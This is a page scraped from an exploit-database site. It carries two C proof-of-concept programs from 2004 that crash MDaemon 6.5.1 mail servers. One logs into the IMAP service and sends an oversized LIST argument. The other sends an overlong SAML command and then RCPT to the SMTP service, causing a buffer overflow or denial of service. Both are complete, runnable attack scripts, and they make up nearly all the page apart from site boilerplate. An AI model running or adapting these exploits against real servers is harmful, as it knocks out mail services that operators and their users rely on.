0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
MDaemon 6.5.1 IMAP/SMTP Remote Buffer Overflow Exploit
[======================================================
MDaemon 6.5.1 IMAP/SMTP Remote Buffer Overflow Exploit
======================================================
/////////////////////////////////////////////////////////////
// Remote proof-of-concept exploit //
// for //
// Mdaemon IMAP server v6.5.1 //
// and //
// possible other version. //
// Find bug: D_BuG. //
// Author: D_BuG. //
// D_BuG@bk.ru //
// Data: 16/09/2004 //
// NOT PUBLIC! //
// //
/////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int sock,err;
struct sockaddr_in sa;
int main (int argc, char *argv[])
{
printf("Remote proof-of-concept(buffer overflow) exploit\n");
printf(" for \n");
printf("Mdaemon IMAP server v6.5.1 and possible other version.\n");
if(argc!=3)
{
printf("Usage: %s <IPADDRESS> <PORT>\n",argv[0]);
printf("e.g.:%s 192.168.1.1 143\n",argv[0]);
exit(-1);
}
sa.sin_family=AF_INET;
sa.sin_port=htons(atoi(argv[2]));
if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0)
printf("Error inet_pton\n");
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
printf("[~]Connecting...\n");
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0)
{
printf("[-]Connect filed....\nExit...\n");
exit(-1);
}
char send[]="0001 LOGIN ""test"" ""console""\r\n";
char send3[]=
"007x LIST "
"""aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAA"""
""" *BBBBBBBBBBaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaaaAAAAAAAAAAAAAAAAAAAAAAAAAAAAc"""
"\r\n\r\n";
char rcv[1024];
printf("[+]Ok!\n");
sleep(2);
printf("[~]Get banner...\n");
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"IMAP")==NULL)
{
printf("[-]Failed!\n");
}
else
{
printf("[+]Ok!\n");
}
printf("[~]Send LOGIN and PASSWORD...\n");
write(sock,send,sizeof(send)-1);
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"OK")==NULL)
{
printf("[-]Failed login or password...\nExit...");
exit(-1);
}
printf("[+]Ok!\n");
printf("[~]Send LIST...\n");
write(sock,send3,sizeof(send3)-1);
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"BAD")!=NULL)
{
printf("[-]Exploit filed...please check your version Mdaemon!\n");
printf("[-]Exit...\n");
exit(-1);
}
printf("[+]Ok!\n");
printf("[+]Crash service.....\n");
printf("[~]Done.\n");
close(sock);
return 0;
}
mdaemon_rcpt.c
/////////////////////////////////////////////////////////////
// Remote DoS and proof-of-concept exploit //
// for //
// Mdaemon smtp server v6.5.1 //
// and //
// possible other version. //
// Find bug: D_BuG. //
// Author: D_BuG. //
// D_BuG@bk.ru //
// Data: 16/09/2004 //
// NOT PUBLIC! //
// Greets:Rasco. //
/////////////////////////////////////////////////////////////
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int sock,err;
struct sockaddr_in sa;
int main (int argc, char *argv[])
{
printf("Remote DoS and proof-of-concept(buffer overflow) exploit\n");
printf(" for \n");
printf("Mdaemon smtp server v6.5.1 and possible other version.\n");
if(argc!=4)
{
printf("Usage: %s <IPADDRESS> <PORT> <TARGET>\n",argv[0]);
printf("Target:\n1.DoS.\n2.Proof-of-concept(buffer overflow).\n");
printf("e.g.:%s 192.168.1.1 25 1\n",argv[0]);
exit(-1);
}
sa.sin_family=AF_INET;
sa.sin_port=htons(atoi(argv[2]));
if(inet_pton(AF_INET, argv[1], &sa.sin_addr) <= 0)
printf("Error inet_pton\n");
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
printf("[~]Connecting...\n");
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) <0)
{
printf("[-]Connect filed....\nExit...\n");
exit(-1);
}
int len=247;
if(atoi(argv[3])==2)
{
len++;
}
char szBuffer[len+7];
char buff[len];
char send[]="EHLO tester\n";
char send3[]="RCPT TO postmaster\n";
char rcv[1024];
int i;
for(i=0;i<len;i++)
{
buff[i]=0x41;
}
sprintf(szBuffer,"SAML %s\n",buff);
printf("[+]Ok!\n");
sleep(2);
printf("[~]Get banner...\n");
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"220")==NULL)
{
printf("[-]Failed!\n");
}
else
{
printf("[+]Ok!\n");
}
printf("[~]Send EHLO...\n");
write(sock,send,sizeof(send)-1);
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"250")==NULL)
{
printf("[-]Failed...\n");
}
else
{
printf("[+]Ok!\n");
}
printf("[~]Send SAML...\n");
write(sock,szBuffer,strlen(szBuffer));//Send SAML
sleep(2);
memset(rcv,0,1024);
if(read(sock,&rcv,sizeof(rcv)) !=-1){}
if(strstr(rcv,"250")==NULL)
{
printf("[-]Exploit failed...please check your version Mdaemon!\n");
printf("[-]Exit...\n");
exit(-1);
}
printf("[+]Ok!\n");
printf("[~]Send RCPT...\n\n");
write(sock,send3,sizeof(send3)-1);//Send RCPT
sleep(2);
if(atoi(argv[3])==2)
{
printf("[+]Crash service.....\n");
}
else
{
printf("[+]DoS service.....\n");
}
printf("[~]Done.\n");
close(sock);
return 0;
}
# 0day.today [2024-11-16] #